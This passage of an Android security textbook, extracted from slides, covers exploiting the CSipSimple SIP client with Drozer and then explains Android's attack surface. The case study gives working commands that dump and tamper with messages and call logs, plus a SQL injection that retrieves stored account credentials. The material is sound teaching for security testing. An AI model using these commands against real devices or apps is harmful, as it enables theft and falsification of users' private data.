D/SIRENSERVICE14008: onStartCommand ... I/LockAcknowledgeService14008: LockAcknowledgeService created I/FindLocationService14008: FindLocationService stopped I/ActivityManager13738: START actandroid.intent.action.VIEW cattest.foobar.123 flg0x10000000 cmpcom.yougetitback.androidapplication.virgin.mobile/ com.yougetitback.androidapplication.SplashScreen u0 from pid 14008 ... Figure 4-7 shows the screen indicating a locked device.

slide 152:

120 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 120 Figure 4-7: App-locked device screen When your app runs sending the forged SMS to unlock the device you see the following logcat output: I/MessageListener:14008: YGIB:U TAG:136267293995242 V/SWIPEWIPE14008: recieved unlock message D/FOREGROUNDSERVICE14008: onDestroy I/ActivityManager13738: START actandroid.intent.action.VIEW cattest.foobar.123 flg0x10000000 cmpcom.yougetitback.androidapplication.virgin.mobile/ com.yougetitback.androidapplication.SplashScreen has extras u0 from pid 14008 D/SIRENSERVICE14008: onDestroy I/UnlockAcknowledgeService14008: UnlockAcknowledgeService created I/UnlockAcknowledgeService14008: UnlockAcknowledgeService stopped And you return to an unlocked device. Case Study: SIP Client This brief example shows you how to discover an unprotected Content Provider— and retrieve potentially sensitive data from it. In this case the application is CSipSimple a popular Session Initiation Protocol SIP client. Rather than going through the same workf ow as the previous app we’ll jump right into another quick-and-easy dynamic analysis technique.

slide 153:

Chapter 4 ■ Reviewing Application Security 121 c04.indd 01:15:7:PM 02/24/2014 Page 121 Enter Drozer Drozer formerly known as Mercury by MWR Labs is an extensible modular security testing framework for Android. It uses an agent application running on the target device and a Python-based remote console from which the tester can issue commands. It features numerous modules for operations like retrieving app information discovering unprotected IPC interfaces and exploiting the device. By default it will run as a standard app user with only the INTERNET permission. Discovery With Drozer up and running you quickly identify Content Provider URIs exported by CSipSimple along with their respective permission requirements. Run the app.provider.info module passing –a com.csipsimple as the argu- ments to limit the scan to just the target app: dz run app.provider.info -a com.csipsimple Package: com.csipsimple Authority: com.csipsimple.prefs Read Permission: android.permission.CONFIGURE_SIP Write Permission: android.permission.CONFIGURE_SIP Multiprocess Allowed: False Grant Uri Permissions: False Authority: com.csipsimple.db Read Permission: android.permission.CONFIGURE_SIP Write Permission: android.permission.CONFIGURE_SIP Multiprocess Allowed: False Grant Uri Permissions: False To even interact with these providers the android.permission.CONFIGURE_SIP permission must be held. Incidentally this is not a standard Android permis- sion—it is a custom permission declared by CSipSimple. Check CSipSimple’s manifest to f nd the permission declaration. Run app.package.manifest passing the app package name as the sole argument. This returns the entire manifest so the following output has been trimmed to show only the pertinent lines: dz run app.package.manifest com.csipsimple ... permission label"2131427348" name"android.permission.CONFIGURE_SIP" protectionLevel"0x1" permissionGroup"android.permission-group.COST_MONEY" description"2131427349" /permission ... You see that the CONFIGURE_SIP permission is declared with a protectionLevel of 0x1 which corresponds to “ dangerous” which would prompt the user to accept the permission at install time something most users might do anyway. However

slide 154:

122 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 122 as neither signature nor signatureOrSystem are specif ed other applications may request this permission. The Drozer agent does not have this by default but that’s easily rectif ed by modifying the manifest and rebuilding the agent APK. After your re-minted Drozer agent has the CONFIGURE_SIP permission you can begin querying these Content Providers. You start by discovering the content URIs exposed by CSipSimple. To accomplish this run the appropriately named app.provider.finduris module: dz run app.provider.finduri com.csipsimple Scanning com.csipsimple... content://com.csipsimple.prefs/raz content://com.csipsimple.db/ content://com.csipsimple.db/calllogs content://com.csipsimple.db/outgoing_filters content://com.csipsimple.db/accounts/ content://com.csipsimple.db/accounts_status/ content://com.android.contacts/contacts ... Snarfi ng This gives us numerous options including interesting ones like messages and calllogs. Query these providers starting with messages using the app.provider.query module with the content URI as the argument. dz run app.provider.query content://com.csipsimple.db/messages | id | sender | receiver | contact | body | mime_type | type | date | status | read | full_sender | | 1 | SELF | sip:bobostel.co | sip:bobostel.co | Hello | text/plain | 5 | 1372293408925 | 405 | 1 | sip:bobostel.co | This returns the column names and rows of data stored in this case in a SQLite database backing this provider. The instant messaging logs are accessible to you now. These data correspond to the message activity / screen shown in Figure 4-8. You can also attempt to write to or update the provider using the app.provider.update module. You pass in the content URI the selection and selection-args which specif es the query constraints the columns you want to replace and the replacement data. Here change the receiver and body columns from their original values to something more nefarious: dz run app.provider.update content://com.csipsimple.db/messages --selection "id" --selection-args 1 --string receiver "sip:badguyostel.co" --string contact "sip:badguyostel.co" --string body "omg crimes" --string full_sender "sip:badguyostel.co" Done.

slide 155:

Chapter 4 ■ Reviewing Application Security 123 c04.indd 01:15:7:PM 02/24/2014 Page 123 You changed the receiver from bobostel.co to badguyostel.co and the message from Hello to omg crimes. Figure 4-9 shows how the screen has been updated. Figure 4-8: CSipSimple message log screen You also saw the calllogs provider which you can also query: dz run app.provider.query content://com.csipsimple.db/calllogs | _id | name | numberlabel | numbertype | date | duration | new | number | type | account_id | status_code | status_ text | 5 | null | null | 0 | 1372294364590 | 286 | 0 | "Bob" sip:bobostel.co | 1 | 1 | 200 | Normal call clearing | | 4 | null | null | 0 | 1372294151478 | 34 | 0 | sip:bobostel.co | 2 | 1 | 200 | Normal call clearing | ... Much like the messages provider and messages screen calllogs data shows up in the screen shown in Figure 4-10. Figure 4-9: CSipSimple modified message log screen

slide 156:

124 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 124 This data can also be updated in one fell swoop using a selection constraint to update all the records for bobostel.co: dz run app.provider.update content://com.csipsimple.db/calllogs --selection "number" --selection-args "sip:bobostel.co" --string number "sip:badguyostel.co" Done. Figure 4-11 shows how the screen with the call log updates accordingly. Figure 4-10: CSipSimple call log screen Injection Content Providers with inadequate input validation or whose queries are built improperly such as through unf ltered concatenation of user input can be vul- nerable to injection. This can manifest in different ways such as SQL injection for SQLite backed providers and directory traversal for f le-system-backed providers. Drozer provides modules for discovering these issues such as the scanner.provider.traversal and scanner.provider.injection modules. Running the scanner.provider.injection module highlights SQL injection vulnerabilities in CSipSimple: dz run scanner.provider.injection -a com.csipsimple Scanning com.csipsimple... Figure 4-11: CSipSimple modified call log screen

slide 157:

Chapter 4 ■ Reviewing Application Security 125 c04.indd 01:15:7:PM 02/24/2014 Page 125 Not Vulnerable: content://com.csipsimple.prefs/raz content://com.csipsimple.db/ content://com.csipsimple.prefs/ ... content://com.csipsimple.db/accounts_status/ Injection in Projection: content://com.csipsimple.db/calllogs content://com.csipsimple.db/outgoing_filters content://com.csipsimple.db/accounts/ content://com.csipsimple.db/accounts ... Injection in Selection: content://com.csipsimple.db/thread/ content://com.csipsimple.db/calllogs content://com.csipsimple.db/outgoing_filters ... In the event that the same SQLite database backs multiple providers much like traditional SQL injection in web applications you can retrieve the contents of other tables. First look at what’s actually in the database backing these pro- viders once again querying calllogs using the app.provider.query module. This time add a projection argument which specif es the columns to select though you’ll pull the SQLite schema with FROM SQLITE_MASTER--. dz run app.provider.query content://com.csipsimple.db/calllogs --projection " FROM SQLITE_MASTER--" | type | name | tbl_name | rootpage | sql | | table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata locale TEXT | | table | accounts | accounts | 4 | CREATE TABLE accounts id INTEGER PRIMARY KEY AUTOINCREMENTactive INTEGERwizard TEXTdisplay_name TEXTp riority INTEGERacc_id TEXT NOT NULLreg_uri TEXTmwi_enabled BOOLEAN publish_enabled INTEGERreg_timeout INTEGERka_interval INTEGERpidf_tuple_id TEXTforce_contac t TEXTallow_contact_rewrite INTEGERcontact_rewrite_method INTEGER contact_params TEXTcontact_uri_params TEXTtransport INTEGERdefault_uri_scheme TEXTuse_srtp IN TEGERuse_zrtp INTEGERproxy TEXTreg_use_proxy INTEGERrealm TEXT scheme TEXTusername TEXTdatatype INTEGERdata TEXTinitial_auth INTEGERauth_algo TEXTsip_stack INTEGERvm_nbr TEXTreg_dbr INTEGERtry_clean_reg INTEGER use_rfc5626 INTEGER DEFAULT 1rfc5626_instance_id TEXTrfc5626_reg_id TEXTvid_in_auto_show INTEGER DEFAUL T -1vid_out_auto_transmit INTEGER DEFAULT -1rtp_port INTEGER DEFAULT – 1rtp_enable_qos INTEGER DEFAULT -1rtp_qos_dscp INTEGER DEFAULT –

slide 158:

126 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 126 1rtp_bound_addr TEXTrtp_p ublic_addr TEXTandroid_group TEXTallow_via_rewrite INTEGER DEFAULT 0 sip_stun_use INTEGER DEFAULT -1media_stun_use INTEGER DEFAULT -1ice_cfg_use INTEGER DEFAULT -1ice_cfg_enable INTEGER DEFAULT 0turn_cfg_use INTEGER DEFAULT -1 turn_cfg_enable INTEGER DEFAULT 0turn_cfg_server TEXTturn_cfg_user TEXTturn_cfg_pwd TEXTipv6_ media_use INTEGER DEFAULT 0wizard_data TEXT | | table | sqlite_sequence | sqlite_sequence | 5 | CREATE TABLE sqlite_sequencenameseq You see that there’s a table called accounts which presumably contains account data including credentials. You can use fairly vanilla SQL injection in the projection of the query and retrieve the data in the accounts table includ- ing login credentials. You’ll use FROM accounts-- in your query this time: dz run app.provider.query content://com.csipsimple.db/calllogs --projection " FROM accounts--" | id | active | wizard | display_name | priority | acc_id | reg_uri | mwi_enabled | publish_enabled | reg_timeout | ka_interval | pidf_tuple_id | force_contact | allow_contact_rewrite | contact_rewrite_method | contact_params | contact_uri_params | transport | default_uri_scheme | use_srtp | use_zrtp | proxy | reg_use_proxy | realm | scheme | username | datatype | data | initial_auth | auth_algo | sip_stack | ... | 1 | 1 | OSTN | OSTN | 100 | sip:THISISMYUSERNAMEostel.co | sip:ostel.co | 1 | 1 | 1800 | 0 | null | null | 1 | 2 | null | null | 3 | sip | -1 | 1 | sips:ostel.co:5061 | 3 | | Digest | THISISMYUSERNAME | 0 | THISISMYPASSWORD | 0 | null | 0 | 98 | -1 | 1 | 1 | ... NOTE The fl aws in CSipSimple that are discussed in the preceding sections have since been addressed. The CONFIGURE_SIP permission was moved to a more explicit namespace rather than android.permission and was given a more detailed description of its use and impact. Also the SQL injection vulnerabilities in the Content Providers were fi xed further limiting access to sensitive information. Summary This chapter gave an overview of some common security issues affecting Android applications. For each issue the chapter presented a public example to help highlight the potential impact. You also walked through two case studies of

slide 159:

Chapter 4 ■ Reviewing Application Security 127 c04.indd 01:15:7:PM 02/24/2014 Page 127 publicly available Android apps. Each case study detailed how to use common tools to assess the app identify vulnerabilities and exploit them. The f rst case study used Androguard to perform static analysis disassem- bly and decompilation of the target application. In doing this you identif ed security-pertinent components you could attack. In particular you found a device lock/unlock feature that used SMS messages for authorization. Next you used dynamic analysis techniques such as debugging the app to augment and conf rm the static analysis f ndings. Finally you worked through some proof-of-concept code to forge an SMS message and exploit the application’s device unlock feature. The second case study demonstrated a quick and easy way to f nd Content Provider-related exposures in an application using Drozer. First you discovered that user activity and sensitive message logs were exposed from the app. Next you saw how easy it is to tamper with the stored data. Finally the case study discussed going a step further and exploiting a SQL injection vulnerability to retrieve other sensitive data in the provider’s database. In the next chapter we will discuss the overall attack surface of Android as well as how to develop overall strategies for attacking Android.

slide 161:

129 c05.indd 01:17:1:PM 02/24/2014 Page 129 Fully understanding a device’s attack surface is the key to successfully attack- ing or defending it. This is as true for Android devices as it is for any other computer system. A security researcher whose goal is to craft an attack using an undisclosed vulnerability would begin by conducting an audit. The f rst step in the audit process is enumerating the attack surface. Similarly defend- ing a computer system requires understanding all of the possible ways that a system can be attacked. In this chapter you will go from nearly zero knowledge of attack concepts to being able to see exactly where many of Android’s attack surfaces lie. First this chapter clearly def nes the attack vector and attack surface concepts. Next it discusses the properties and ideologies used to classify each attack surface according to impact. The rest of the chapter divides various attack surfaces into categories and discusses the important details of each. You will learn about the many ways that Android devices can be attacked in some cases evidenced by known attacks. Also you will learn about various tools and techniques to help you explore Android’s attack surface further on your own. CHAPTER 5 Understanding Android’s Attack Surface

slide 162:

130 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 130 An Attack Terminology Primer Before diving into the depths of Android’s attack surface we must f rst def ne and clarify the terminology we use in this chapter. On a computer network it is possible for users to initiate actions that can subvert the security of computer systems other than their own. These types of actions are called attacks and thus the person perpetrating them is called an attacker. Usually the attacker aims to inf uence the conf dentiality integrity or accessibility CIA of the target system. Successful attacks often rely on specif c vulnerabilities present in the target system. The two most common topics when discussing attacks are attack vectors and attack surfaces. Although attack vectors and attack surfaces are inti- mately related and thus often confused with one another they are individual components of any successful attack. NOTE The Common Vulnerability Scoring System CVSS is a widely accepted stan- dard for classifying and ranking vulnerability intelligence. It combines several impor- tant concepts to arrive at a numeric score which is then used to prioritize eff orts to investigate or remediate vulnerabilities. Attack Vectors An attack vector generally refers to the means by which an attacker makes his move. It describes the methods used to carry out an attack. Simply put it describes how you reach any given vulnerable code. If you look deeper attack vectors can be classif ed based on several criteria including authentication accessibil- ity and diff culty. These criteria are often used to prioritize how to respond to publicly disclosed vulnerabilities or ongoing attacks. For example sending electronic mail to a target is a very high-level attack vector. It’s an action that typically doesn’t require authentication but successful exploitation may require the recipient to do something such as read the message. Connecting to a listen- ing network service is another attack vector. In this case authentication may or may not be required. It really depends on where in the network service the vulnerability lies. NOTE MITRE’s Common Attack Pattern Enumeration and Classifi cation CAPEC project aims to enumerate and classify attacks into patterns. This project includes and extends on the concept of traditional attack vectors. Attack vectors are often further classif ed based on properties of common attacks. For example sending electronic mail with an attachment is a more

slide 163:

Chapter 5 ■ Understanding Android’s Attack Surface 131 c05.indd 01:17:1:PM 02/24/2014 Page 131 specif c attack vector than just sending electronic mail. To go further you could specify the exact type of attachment. Another more specif c attack vector based on electronic mail is one where an attacker includes a clickable uniform resource locator URL inside the message. If the link is clickable curiosity is likely to get the better of the recipient and they will click the link. This action might lead to a successful attack of the target’s computer. Another example is an image pro- cessing library. Such a library may have many functions that lead to execution of the vulnerable function. These can be considered vectors to the vulnerable function. Likewise a subset of the application programming interface API exposed by the library may trigger execution of the vulnerable function. Any of these API functions may also be considered a vector. Finally any program that leverages the vulnerable library could also be considered a vector. These classif cations help defenders think about how attacks could be blocked and help attackers isolate where to f nd interesting code to audit. Attack Surfaces An attack surface is generally understood as a target’s open f anks—that is to say the characteristics of a target that makes it vulnerable to attack. It is a physical world metaphor that’s widely adopted by information security professionals. In the physical world an attack surface is the area of an object that is exposed to attack and thus should be defended. Castle walls have moats. Tanks have strategically applied armor. Bulletproof vests protect some of the most vital organs. All of these are examples of defended attack surfaces in the physical world. Using the attack surface metaphor allows us to remove parts of informa- tion security from an abstract world to apply proven logical precepts. More technically speaking an attack surface refers to the code that an attacker can execute and therefore attack. In contrast to an attack vector an attack surface does not depend on attackers’ actions or require a vulnerability to be present. Simply put it describes where in code vulnerabilities might be waiting to be discovered. In our previous example an e-mail-based attack the vulnerability might lie in the attack surface exposed by the mail server’s protocol parser the mail user agent’s processing code or even the code that renders the message on the recipient’s screen. In a browser-based attack all the web-related technolo- gies supported by the browser constitute attack surfaces. Hypertext Transfer Protocol HTTP Hypertext Markup Language HTML Cascading Style Sheets CSS and Scalable Vector Graphics SVG are examples of such technologies. Remember though by def nition no vulnerabilities need be present for an attack surface to exist. If a particular piece of code can be exercised by an attacker it is a considered an attack surface and should be studied accordingly. Similar to attack vectors attack surfaces can be discussed both in general and in increasingly specif c terms. Exactly how specif c one chooses to be usually

slide 164:

132 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 132 depends on context. If someone is discussing the attack surface of an Android device at a high level they might point out the wireless attack surface. In con- trast when discussing the attack surface of a particular program they might point out a specif c function or API. Further still in the context of local attacks they might point out a specif c f le system entry on a device. Studying one particular attack surface often reveals additional attack surfaces such as those exposed through multiplexed command processing. A good example is a func- tion that parses a particular type of packet inside a protocol implementation that encompasses many different types of packets. Sending a packet of one type would reach one attack surface whereas sending a packet of another type would reach a different one. As discussed later in the “Networking Concepts” section Internet commu- nications are broken up into several logical layers. As data traverses from one layer to the next it passes through many different attack surfaces. Figure 5-1 shows an example of this concept. PHP Application Code PHP Interpreter CGI Web Server Web Server Ports Figure 5-1: Attack surfaces involved in a PHP web app In Figure 5-1 the outermost attack surface of the system in question consists of the two web server ports. If the attack vector is a normal request not an encrypted one the underlying attack surface of the web server software as well as any server-side web applications are reachable. Choosing to target a PHP web application application code and the PHP interpreter both handle untrusted data. As untrusted data is passed along more attack surfaces are exposed to it. On a f nal note a given attack surface might be reachable by a number of attack vectors. For example a vulnerability in an image processing library might be triggered via an e-mail a web page an instant messaging application or other vectors. This is especially relevant when vulnerabilities are patched. If the f x is only applied to one vector the issue may still be exploited via remaining vectors.

slide 165:

Chapter 5 ■ Understanding Android’s Attack Surface 133 c05.indd 01:17:1:PM 02/24/2014 Page 133 Classifying Attack Surfaces Generally the size of a target’s attack surface is directly proportional to how much it interfaces with other systems code devices users and even its own hardware. Many Android devices aim to interface with anything and everything. In support of this point Verizon used the phrase “Droid Does” to advertise just how many things you can do with their device. Because the attack surface of an Android device is so vast dissection and classif cation is necessary. Surface Properties Researchers including both attackers and defenders look at the various proper- ties of attack surfaces to make decisions. Table 5-1 depicts several key properties and the reasoning behind their importance. Table 5-1: Key Attack Surface Properties PROPERTY REASONING Attack Vector User interaction and authentication requirements limit the impact of any vulnerability discovered in a given attack surface. Attacks that require the target user to do something extraordinary are less severe and may require social engineering to succeed. Likewise some attack surfaces can be reached only with existing access to the device or within certain physical proximities. Privileges Gained The code behind a given attack surface might execute with extremely high privileges such as in kernel-space or it might execute inside a sandbox with reduced privileges. Memory Safety Programs written in non-memory-safe languages like C and C++ are susceptible to more classes of vulnerabilities than those written with memory-safe languages like Java. Complexity Complex code algorithms and protocols are diffi cult to manage and increase the probability of a programmer making a mistake. Understanding and analyzing these properties helps guide research priori- ties and improves overall effectiveness. By focusing on particularly risky attack surfaces low requirements high privileges non-memory-safe high complexity and so on a system can be attacked or secured more quickly. As a general rule an attacker seeks to gain as much privilege as possible with as little investment as possible. Thus especially risky attack surfaces are a logical place to focus.

slide 166:

134 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 134 Classifi cation Decisions Because Android devices have such a large and complex set of attack surfaces it is necessary to break them down into groups based on common properties. The rest of this chapter is split into several high-level sections based on the level of access required to reach a given attack surface. Like an attacker would it starts with the most dangerous and thus the most attractive attack surfaces. As necessary many of the sections are split into subsections that discuss deeper attack surfaces. For each attack surface we provide background information such as the intended functionality. In several cases we provide tools and tech- niques for discovering specif c properties of the underlying code exposed by the attack surface. Finally we discuss known attacks and attack vectors that exercise vulnerabilities in that attack surface. Remote Attack Surfaces The largest and most attractive attack surface exposed by an Android device or any computer system is classif ed as remote. This name which is also an attack vector classif cation comes from the fact that the attacker need not be physically located near her victim. Instead attacks are executed over a computer network usually the Internet. Attacks against these types of attack surfaces can be particularly devastating because they allow an unknown attacker to compromise the device. Looking closer various properties further divide remote attack surfaces into distinct groups. Some remote attack surfaces are always reachable whereas others are reachable only when the victim initiates network communications. Issues where no interaction is required are especially dangerous because they are ripe for propagating network worms. Issues that require minor interaction such as clicking a link can also be used to propagate worms but the worms would propagate less quickly. Other attack surfaces are reachable only when the attacker is in a privileged position such as on the same network as his victim. Further some attack surfaces only deal with data that has already been processed by an intermediary such as a mobile carrier or Google. The next subsection provides an overview to several important networking concepts and explains a few key differences unique to mobile devices. The fol- lowing subsections discuss in more detail the various types of remote attack surfaces exposed by Android devices. Networking Concepts A solid understanding of fundamental networking concepts is necessary to truly comprehend the full realm of possible attacks that can traverse computer

slide 167:

Chapter 5 ■ Understanding Android’s Attack Surface 135 c05.indd 01:17:1:PM 02/24/2014 Page 135 networks. Concepts such as the Open Systems Interconnection OSI model and the client-server model describe abstract building blocks used to conceptualize networking. Typical network conf gurations put constraints on exactly what types of attacks can be carried out thereby limiting the exposed attack surface. Knowing these constraints and the avenues to circumvent them can improve both attackers’ and defenders’ chances of success. The Internet The Internet founded by the United States Defense Advanced Research Projects Agency DARPA is an interconnected network of computer systems. Home computers and mobile devices are the outermost nodes on the network. Between these nodes sit a large number of back-end systems called routers. When a smart- phone connects to a website a series of packets using various protocols traverse the network in order to locate contact and exchange data with the requested server. The computers between the endpoints each referred to as a hop make up what is called a network path. Cellular networks are very similar except that cell phones communicate wirelessly to the closest radio tower available. As a user travels the tower her device talks to changes as well. The tower becomes the cell phone’s f rst hop in its path to the Internet. OSI Model The OSI model describes seven distinct layers involved in network communica- tions. Figure 5-2 shows these layers and how they are stacked upon one another. Layer 7: Application Layer 6: Presentation Layer 5: Session Layer 4: Transport Layer 3: Network Layer 2: Data Link Layer 1: Physical Figure 5-2: OSI seven-layer model ■ Layer 1—The physical layer describes how two computers communicate data to one another. At this layer we are talking zeroes and ones. Portions of Ethernet and Wi-Fi operate in this layer.

slide 168:

136 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 136 ■ Layer 2—The data link layer adds error-correction capabilities to data transmissions traversing the physical layer. The remaining portions of Ethernet and Wi-Fi as well as Logical Link Control LLC and Address Resolution Protocol ARP operate in this layer. ■ Layer 3—The network layer is the layer where Internet Protocol IP Internet Control Message Protocol ICMP and Internet Gateway Message Protocol IGMP operate. The goal of the network layer is to provide rout- ing mechanisms such that data packets can be sent to the host to which they are destined. ■ Layer 4—The transport layer aims to add reliability to data transmissions traversing the lower layers. The Transmission Control Protocol TCP and User Datagram Protocol UDP are said to operate at this layer. ■ Layer 5—The session layer manages as its name suggests sessions between hosts on a network. Transport Layer Security TLS and Secure Socket Layer SSL both operate in this layer. ■ Layer 6—The presentation layer deals with hosts syntactically agreeing upon how they will represent their data. Though very few protocols operate at this layer Multipurpose Internet Mail Extensions MIME is one notable standard that does. ■ Layer 7—The application layer is where data is generated and consumed directly by the client and server applications of high-level protocols. Standard protocols in this layer include Domain Name System DNS Dynamic Host Conf guration Protocol DHCP File Transfer Protocol FTP Simple Network Management Protocol SNMP Hypertext Transfer Protocol HTTP Simple Mail Transfer Protocol SMTP and more. Modern network communications have extended beyond the seven-layer OSI model. For example web services are often implemented with one or more additional layers on top of HTTP . In Android Protocol Buffers protobufs are used to transmit structured data and implement Remote Procedure Call RPC protocols. Although protobufs appear to provide a presentation layer function such communications regularly use HTTP transport. The lines between the layers are blurry. The protocols mentioned in this section play an integral role in modern Internet-connected devices. Android devices support and utilize all of the pro- tocols mentioned here in one way shape or form. Later sections discuss how these protocols and the attack surfaces that correspond to them come into play. Network Confi gurations and Defenses Today’s Internet ecosystem is much different than it was in 1980s. In that time the Internet was mostly open. Hosts could freely connect to each other and users

slide 169:

Chapter 5 ■ Understanding Android’s Attack Surface 137 c05.indd 01:17:1:PM 02/24/2014 Page 137 were generally considered trustworthy. In the late ‘80s and early ‘90s network administrators started noticing malicious users intruding into computer systems. In light of the revelation that not all users could be trusted f rewalls were cre- ated and erected to defend networks at their perimeter. Since then host-based f rewalls that protect a single machine from its network are sometimes used too. Fast-forward to 1999: Network Address Translation NAT was created to enable hosts within a network with private addresses to communicate with hosts on the open Internet. In 2013 the number of assignable IPv4 address blocks dwindled to an all-time low. NAT helps ease this pressure. For these reasons NAT is commonplace in both home and cellular networks. It works by modifying addresses at the network layer. In short the NAT router acts as a transparent proxy between the wide area network WAN and the hosts on the local area network LAN. Connecting from the WAN to a host on the LAN requires special conf guration on the NAT router. Without such a conf gura- tion NAT routers act as a sort of f rewall. As a result NAT renders some attack surfaces completely unreachable. Although they are both accessed wirelessly mobile carrier networks differ from Wi-Fi networks in how they are provisioned conf gured and controlled. Access to a given carrier’s network is tightly controlled requiring that a Subscriber Identity Module SIM card be purchased from that carrier. Carriers often meter data usage charging an amount per megabyte or gigabyte used. They also limit what mobile devices can do on their network by conf guring the Access Point Name APN. For example it is possible to disable interclient connections through the APN. As mentioned before carriers make extensive use of NAT as well. All of these things considered carrier networks limit the exposed attack surface even further than home networks. Keep in mind though that not all carrier networks are the same. A less security-conscious carrier might expose all of its customers’ mobile devices directly to the Internet. Adjacency In networking adjacency refers to the relationship between nodes. For the pur- poses of this chapter there are two relevant relationships. One is between devices on a LAN. We call this relationship network adjacent or logically adjacent. This is in contrast to being physically adjacent where an attacker is within a certain physical proximity to her victim. An attacker can establish this type of relationship by directly accessing the LAN compromising other hosts on it or by traversing a Virtual Private Network VPN. The other relevant relationship pertains to the privileged position of a router node. An attacker could establish this position by subverting network routing or compromising a router or proxy traversed by the victim. In doing so the attacker is considered to be on-path. That is they sit on the network path between a victim and the other remote nodes they communicate with. Achieving more trusted positions can enable several

slide 170:

138 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 138 types of attacks that are not possible otherwise. We’ll use these concepts later to explicitly state whether certain attack surfaces are reachable and if so to what extent they are reachable. Network Adjacency Being a neighbor on the same LAN as a target gives an attacker a privileged vantage point from which to conduct attacks. Typical LAN conf gurations leave the network rather open much like the Internet in the days of old. First and fore- most computers on a LAN are not behind any NAT and/ or perimeter f rewall. Also there is usually no router between nodes. Packets are not routed using IP. Instead they are broadcasted or delivered based on Media Access Control MAC addresses. Little to no protocol validation is done on host-to-host traff c. Some LAN conf gurations even allow any node to monitor all communications on the network. Although this is a powerful ability by itself combining it with other tricks enables even more powerful attacks. The fact that very little protocol validation takes place enables all sorts of spoof ng attacks to succeed. In a spoof ng attack the attacker forges the source address of his packets in an attempt to masquerade as another host. This makes it possible to take advantage of trust relationships or conceal the real source of attack. These types of attacks are diff cult to conduct on the open Internet due to anti-spoof ng packet f lter rules and inherent latency. Most attacks of this kind operate at or above the network layer but this is not a strict requirement. One spoof ng attack called ARP spoof ng or ARP cache poisoning is carried out at layer 2. If successful this attack lets an attacker convince a target node that it is the gateway router. This effectively pivots the attacker from being a neighbor to being an on-path device. Attacks possible from this vantage point are discussed more in the next section. The most effective defense against ARP spoof ng attacks involves using static ARP tables something that is impossible on unrooted mobile devices. Attacks against DNS are much easier because the low latency associated with network adjacency means attackers can easily respond faster than Internet-based hosts. Spoof ng attacks against DHCP are also quite effective for gaining more control over a target system. On-Path Attacks On-path attacks which are commonly known as Man-in-the-Middle MitM attacks are quite powerful. By achieving such a trusted position in the network the attacker can choose to block alter or forward any traff c that f ows through it. The attacker could eavesdrop on the traff c and discover authentication cre- dentials such as passwords or browser cookies potentially even downgrading stripping or otherwise transparently monitoring encrypted communications. From such a trusted vantage point an attacker could potentially affect a large number of users at once or selectively target a single user. Anyone that traverses this network path is fair game.

slide 171:

Chapter 5 ■ Understanding Android’s Attack Surface 139 c05.indd 01:17:1:PM 02/24/2014 Page 139 One way to leverage this type of position is to take advantage of inherent trust relationships between a target and his favorite servers. Many software clients are very trusting of servers. Although attackers can host malicious serv- ers that take advantage of this trust without being on-path they would need to persuade victims to visit them. Being on-path means the attacker can pretend to be any server to which the target user connects. For example consider a target that visits http://www.cnn.com/ each morning from his Android phone. An on-path attacker could pretend to be CNN deliver an exploit and present the original CNN site content so that the victim is none the wiser. We’ll discuss the client-side attack surface of Android in more detail in the “Client-side Attack Surface” section later in this chapter. Thankfully achieving such a privileged role on the Internet is a rather diff cult proposition for most attackers. Methods to become an on-path attacker include compromising routers or DNS servers using lawful intercepts manipulating hosts while network adjacent and modifying global Internet routing tables. Another method which seems less diff cult than the rest in practice is hijack- ing DNS via registrars. Another relatively easy way to get on-path is specif c to wireless networks like Wi-Fi and cellular. On these networks it is also possible to leverage physical proximity to manipulate radio communications or host a rogue access point or base station to which their target connects. Now that we’ve covered fundamental network concepts and how they relate to attacks and attackers it’s time to dive deep into Android’s attack surface. Understanding these concepts is essential for knowing if a given attack surface is or is not reachable. Networking Stacks The holy grail of vulnerability research is a remote attack that has no victim interaction requirements and yields full access to the system. In this attack scenario an attacker typically only needs the ability to contact the target host over the Internet. An attack of this nature can be as simple as a single packet but may require lengthy and complex protocol negotiations. Widespread adop- tion of f rewalls and NAT makes this attack surface much more diff cult to reach. Thus issues in the underlying code might be exposed only to network adjacent attackers. On Android the main attack surface that f ts this description is the networking stack within the Linux kernel. This software stack implements protocols like IP TCP UDP and ICMP . Its purpose is to maintain network state for the operating system which it exposes to user-space software via the socket API. If an exploit- able buffer overf ow existed in the processing of IPv4 or IPv6 packets it would truly represent the most signif cant type of vulnerability possible. Successfully exploiting such an issue would yield remote arbitrary code execution in kernel- space. There are very few issues of this nature certainly none that have been publicly observed as targeting Android devices.

slide 172:

140 Chapter 5 ■ Understanding Android’s Attack Surface c05.indd 01:17:1:PM 02/24/2014 Page 140 NOTE Memory corruption vulnerabilities are certainly not the only type of issues that aff ect the network stack. For example protocol-level attacks like TCP sequence number prediction are attributed to this attack surface. Unfortunately enumerating this attack surface further is largely a manual pro- cess. On a live device the /proc/net directory can be particularly enlightening. More specif cally the ptype entry in that directory provides a list of the protocol types that are supported along with their corresponding receive functions. The following excerpt shows the contents on a Galaxy Nexus running Android 4.3. shellmaguro:/ cat /proc/net/ptype Type Device Function 0800 ip_rcv+0x0/0x430 0011 llc_rcv+0x0/0x314 0004 llc_rcv+0x0/0x314 00f5 phonet_rcv+0x0/0x524 0806 arp_rcv+0x0/0x144 86dd ipv6_rcv+0x0/0x600 shellmaguro:/ From this output you can see that this device’s kernel supports IPv4 IPv6 two types of LLC PhoNet and ARP. This and more information is available in the kernel’s build conf guration. Instructions for obtaining the kernel build conf guration is provided in Chapter 10. Exposed Network Services Network-facing services which also don’t require victim interaction are the second most attractive attack surface. Such services usually execute in user- space eliminating the possibility for kernel-space code execution. There is some potential although less so on Android that successfully exploiting issues in this attack surface could yield root privileges. Regardless exploiting issues exposed by this attack service allows an attacker to gain a foothold on a device. Additional access can then be achieved via privilege escalation attacks discussed later in this chapter. Unfortunately though most Android devices do not include any network services by default. Exactly how much is exposed depends on the software running on the device. For example in Chapter 10 we explain 